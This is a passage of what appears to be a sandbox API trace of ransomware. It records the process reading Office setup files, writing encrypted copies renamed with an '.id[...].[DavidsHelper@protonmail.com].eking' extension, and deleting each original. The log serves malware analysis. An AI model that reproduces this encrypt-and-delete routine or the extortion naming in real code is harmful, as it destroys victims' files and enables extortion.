nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x333, lpOverlapped=0x0) returned 1 [0277.348] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x340, lpOverlapped=0x0) returned 1 [0277.349] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x102, lpOverlapped=0x0) returned 1 [0277.350] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0277.350] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0277.350] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x333, lpOverlapped=0x0) returned 1 [0277.350] FlushFileBuffers (hFile=0x1a4) returned 1 [0277.361] FlushFileBuffers (hFile=0x1b4) returned 1 [0277.489] CloseHandle (hObject=0x1a4) returned 1 [0277.489] CloseHandle (hObject=0x1b4) returned 1 [0277.489] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0277.491] SetEvent (hEvent=0xe0) returned 1 [0277.491] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0277.492] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=15760) returned 1 [0277.492] CloseHandle (hObject=0x1b4) returned 1 [0277.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0277.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0277.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0277.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0277.492] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0277.492] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0277.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0277.493] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x3d90, lpOverlapped=0x0) returned 1 [0277.516] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x3da0, lpOverlapped=0x0) returned 1 [0277.517] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0277.517] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0277.517] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0277.517] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x3d90, lpOverlapped=0x0) returned 1 [0277.518] FlushFileBuffers (hFile=0x1b4) returned 1 [0277.751] FlushFileBuffers (hFile=0x1a4) returned 1 [0278.106] CloseHandle (hObject=0x1b4) returned 1 [0278.106] CloseHandle (hObject=0x1a4) returned 1 [0278.106] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 1 [0278.107] SetEvent (hEvent=0xe0) returned 1 [0278.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0278.108] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=26929) returned 1 [0278.108] CloseHandle (hObject=0x1a4) returned 1 [0278.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0278.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0278.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0278.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0278.109] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0278.109] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0278.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0278.109] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x6931, lpOverlapped=0x0) returned 1 [0278.118] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x6940, lpOverlapped=0x0) returned 1 [0278.120] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0278.120] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0278.120] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0278.120] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6931, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x6931, lpOverlapped=0x0) returned 1 [0278.120] FlushFileBuffers (hFile=0x1a4) returned 1 [0278.300] FlushFileBuffers (hFile=0x1b4) returned 1 [0278.476] CloseHandle (hObject=0x1a4) returned 1 [0278.476] CloseHandle (hObject=0x1b4) returned 1 [0278.477] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0278.480] SetEvent (hEvent=0xe0) returned 1 [0278.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0278.481] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=27195) returned 1 [0278.481] CloseHandle (hObject=0x1b4) returned 1 [0278.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0278.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0278.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0278.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0278.481] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0278.481] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0278.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0278.482] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x6a3b, lpOverlapped=0x0) returned 1 [0278.488] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x6a40, lpOverlapped=0x0) returned 1 [0278.490] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0278.490] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0278.490] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0278.490] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x6a3b, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x6a3b, lpOverlapped=0x0) returned 1 [0278.491] FlushFileBuffers (hFile=0x1b4) returned 1 [0278.884] FlushFileBuffers (hFile=0x1a4) returned 1 [0279.047] CloseHandle (hObject=0x1b4) returned 1 [0279.049] CloseHandle (hObject=0x1a4) returned 1 [0279.049] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1 [0279.051] SetEvent (hEvent=0xe0) returned 1 [0279.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0279.051] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=9352) returned 1 [0279.051] CloseHandle (hObject=0x1a4) returned 1 [0279.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0279.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0279.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0279.052] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.052] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0279.053] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x2488, lpOverlapped=0x0) returned 1 [0279.055] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x2490, lpOverlapped=0x0) returned 1 [0279.056] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0279.056] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.056] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.056] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x2488, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x2488, lpOverlapped=0x0) returned 1 [0279.056] FlushFileBuffers (hFile=0x1a4) returned 1 [0279.059] FlushFileBuffers (hFile=0x1b4) returned 1 [0279.060] CloseHandle (hObject=0x1a4) returned 1 [0279.060] CloseHandle (hObject=0x1b4) returned 1 [0279.061] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0279.062] SetEvent (hEvent=0xe0) returned 1 [0279.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0279.062] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1383) returned 1 [0279.062] CloseHandle (hObject=0x1b4) returned 1 [0279.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0279.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0279.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0279.063] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.063] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0279.065] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x567, lpOverlapped=0x0) returned 1 [0279.100] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x570, lpOverlapped=0x0) returned 1 [0279.101] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0279.101] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.101] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.101] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x567, lpOverlapped=0x0) returned 1 [0279.102] FlushFileBuffers (hFile=0x1b4) returned 1 [0279.161] FlushFileBuffers (hFile=0x1a4) returned 1 [0279.216] CloseHandle (hObject=0x1b4) returned 1 [0279.224] CloseHandle (hObject=0x1a4) returned 1 [0279.225] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0279.226] SetEvent (hEvent=0xe0) returned 1 [0279.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0279.227] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=4274) returned 1 [0279.227] CloseHandle (hObject=0x1a4) returned 1 [0279.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0279.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft 